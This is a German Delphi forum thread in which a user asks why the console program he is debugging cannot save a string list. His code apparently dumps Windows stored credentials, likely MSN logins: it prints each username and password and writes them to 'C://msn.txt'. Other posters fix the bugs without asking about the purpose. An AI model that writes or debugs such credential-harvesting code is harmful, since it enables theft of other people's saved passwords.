Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Sonstige Fragen zu Delphi (https://www.delphipraxis.net/19-sonstige-fragen-zu-delphi/)
-   -   Delphi Konsolen-Anwendung (https://www.delphipraxis.net/111965-konsolen-anwendung.html)

Counter909 12. Apr 2008 11:25


Konsolen-Anwendung
 
hi,
ich hab für ein Ausgabe von Daten einfach eine Konsolenanwendung ausgewählt, statt einem richtig Program, da es ja viel kleiner ist.

Hier ein kleiner Auszug:
Delphi-Quellcode:
begin
var h:tStringlist;
...
Username := '';
  PassworT := '';
  Username := CredentialCollection[dwTempIndex].UserName;
  PassworT := Trim(String(CredentialCollection[dwTempIndex].CredentialBlob));
  if Length(Password) > 1 then
  begin
   WriteLn('Username: ' + Username);
   WriteLn('PassworT: ' + PassworT);
   WriteLn('');
   sleep(3000);
   h.Add(username);
   h.Add(passworT);
   h.SaveToFile('C://msn.txt');
   Inc(dwTempIndex);
  end;
 end;
 pfCredFree(CredentialCollection);
end;
meien Frage ist, warum er in einer Konsolen-Anwendung keine Stringlist anwenden kann oder so ist es bei mir, dass er das eben nicht in eine -txt speichern kann. Ist es möglich das so überhaupt zu machen ?

mfg
counter

Luckie 12. Apr 2008 11:27

Re: Konsolen-Anwendung
 
Hast du auch die Unit Classes eingebunden?

Apollonius 12. Apr 2008 11:28

Re: Konsolen-Anwendung
 
Wo erzeugst du die Stringliste? Und warum stehen im Pfadnamen zwei Schrägstriche vorwärts statt einem rückwärts?

Counter909 12. Apr 2008 11:28

Re: Konsolen-Anwendung
 
ja, hab ich noch gemacht:

Delphi-Quellcode:
program WinData;

{$APPTYPE CONSOLE}

uses
 Windows,
 SysUtils,
 classes;

....

aso die Stringlist ertelle ich ganz am anfang:

h:=Tstringlist.Create;

1234588 12. Apr 2008 11:31

Re: Konsolen-Anwendung
 
wenn du schon auf die groeße achtest, macht es wenig sinn mit stringlisten zu arbeiten. imho bekommst du mit Write() das selbe hin. wesentlich aufwendiger oder schwerer ist das auch nicht


Alle Zeitangaben in WEZ +1. Es ist jetzt 05:10 Uhr.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz